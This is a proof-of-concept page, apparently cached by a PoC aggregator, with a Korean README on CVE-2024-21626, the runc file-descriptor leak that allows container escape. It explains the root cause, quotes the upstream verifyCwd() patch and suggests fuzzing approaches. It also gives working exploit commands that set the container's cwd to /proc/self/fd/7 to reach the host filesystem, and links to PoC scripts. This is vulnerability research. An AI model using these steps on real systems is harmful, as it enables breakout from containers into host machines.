Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21626 PoC — runc 安全漏洞

Source
Associated Vulnerability
Title:runc 安全漏洞 (CVE-2024-21626)
Description:runc是一款用于根据OCI规范生成和运行容器的CLI(命令行界面)工具。 runc 1.1.12之前版本存在安全漏洞,该漏洞源于fds 内部泄漏,导致多个容器发生泄漏。
Description
Root cuase & Proof of cause
Readme
# CVE-2024-21626
Root cuase & Proof of cause

# How to use poc-autoplay?
```bash
make install

make uninstall
```


# 1. Root cause

- runc v1.1.11 버전 이하에서 cgroup을 설정하기 위해 호스트의 /sys/fs/cgroup 디렉토리를 여는 과정에서 해당 파일 디스크립터를 컨테이너 초기화 프로세스에 닫지 않고 남겨둬서 해당 취약점이 발생한다.
1. runc init 단계에서 호스트의 /sys/fs/cgroup을 통해 /proc/{PID}/fd/7 획득.
2. 해당 fd를 닫지 않은 채 컨테이너 PID 1을 fork/exec.
3. runc의 spec 또는 runc exec —cwd 옵션에서 작업 디렉토리(cwd)를 위에서 획득한 /proc/self/fd/7/ 처럼 공격자가 제어하는 경로로 지정.
4. chdir 이후, PID 1의 cwd가 컨테이너의 rootfs 밖으로 이동.
5. 컨테이너 내부 프로세스가 호스트 파일 시스템에 접근하거나 수정이 가능해지면서 Container escape가 됨을 확인.

```c
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
```

- chdir 직후에 cwd를 검증하는 로직이 추가되었다.
- libcontainer/init_linux.go 에서 verifyCwd() 함수를 추가해서, chdir 이후 cwd가 여전히 컨테이너 내부인지 확인 후 err 발생 여부를 정한다.
- 유출된 파일 디스크립터를 전부 닫는 로직이 추가되었다.
- 최종 execve 직전에 모든 내부용 fd를 닫도록 하여, 호스트 fd가 컨테이너 프로세세스에 남아있지 않도록 했다.

# 2. Proof of Concept
- Environment

```plaintext
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
```

- Exploit via runc itself

```bash
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"
```


# 도커 내부에서 로컬의 / 경로에서 시작.

- 컨테이너 생성 시 working directory를 특정 파일 디스크립터로 설정해야 한다.
호스트의 열린 fd와 컨테이너 내부의 fd가 연결되어 docker escape가 가능해진다.


- PoC file
-> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing
```bash
- make install, make uninstall
```

- PoC MP4
-> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing


# 3. **How can this vulnerability be fuzzed?**

- 해당 취약한 runc 바이너리에 대하여 go-fuzz를 진행하는 방식.
- 취약 함수인 finalizeNamespace() 내부의 chdir(config.Cwd) 처리 부분을 대상으로 무작위 OCI config를 입력값으로 주는 방식으로 할 수 있다.
- 해당 방식으로 chdir 이후 cwd에서 상대경로로 예외처리 혹은 크래시 부분을 분석하면 될 것 같다.
- 취약 버전 runc 바이너리를 대상으로 AFL++로 진행하는 방식.
- OCI spec JSON과 runc CLI Argument를 퍼징하는 방식이다.
- OCI spec JSON에서 cwd 부분을 타겟으로 chdir 지점에서 발생하는 크래시를 분석 하면 될 것 같다.
File Snapshot

[4.0K] /data/pocs/38665e93c61f8e823a8fdb65d5821b80ec468f63 ├── [ 90] Makefile ├── [4.7K] poc-autoplay.sh ├── [1.0K] poc-uninstall.sh └── [4.8K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.